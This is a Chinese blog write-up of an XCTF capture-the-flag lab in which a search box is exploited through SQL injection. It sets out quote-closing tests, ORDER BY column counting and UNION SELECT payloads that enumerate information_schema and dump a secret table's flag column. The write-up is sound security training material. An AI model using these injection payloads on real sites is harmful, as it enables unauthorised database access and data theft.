关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本关考察的是搜索型的 SQL 注入漏洞,需要提前知道以下知识点:
-
字符型 SQL 注入的方式(搜索型的和它一样)
-
搜索型 SQL 模板:
select * from 表名 where 字段 like "%$_POST['search']%"
0x02:Write UP
进入靶场,是一个叫作 Hacker News 的页面(进入之后报错很正常,如果是校园网的话,建议用手机流量,刷新一下即可):
页面写的不错,一个搜索框,下面是显示 News,第一反应就是搜索型注入,搜索型的 SQL 语句模板如下:
select * from 表名 where 字段 like "%$_POST['search']%";
测试方法和字符型差不多:
- 测试语句01:*" or 1=1;#" -> 返回空 -> 说明引号闭合失败 -> * 号表格里面肯定是没有的,但是 or 1=1 如果成功执行,应该会返回所有结果,但现实是返回为空,所以引号闭合失败
- 测试语句02: *' or 1=1;#' -> 返回所有信息 -> 引号闭合成功
-
- -> 后端语句: select * from 表名 where 字段 like '%$_POST["search"]%';
- -> 注入模板: *' 注入代码 ;#'
测试后端返回字段数,发现字段为 3:
- *' order by 1;#' -> 页面返回正常
- *' order by 2;#' -> 页面返回正常
- *' order by 3;#' -> 页面返回正常
- *' order by 4;#' -> 页面报错
-
- -> 优化注入模板: *' union select 1,2,(注入代码) ;#'
下面就是查表啥的了,这里就不放出测试的了,直接给出语句以及返回结果:
- 获取当前数据库名:
- -> *' union select 1,2,(select database()) ;#'
- -> news
-
- 获取 news 数据库中的数据表名:
- -> *' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) ;#'
- -> news,secret_table
-
- 获取 news 数据表中的字段名:
- -> *' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="news") ;#'
- -> id,title,content
-
- 获取 secret_table 数据表中的字段名:
- -> *' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="secret_table") ;#'
- -> id,fl4g
经过上面的语句我们可以确定目标数据库的结构如下:
- - news
- - news
- -> id
- -> title
- -> content
- - secret_table
- -> id
- -> fl4g
获取 secret_table 中的 fl4g 列所有内容:
*' union select 1,2,(select group_concat(fl4g) from secret_table) ;#'
评论记录:
回复评论: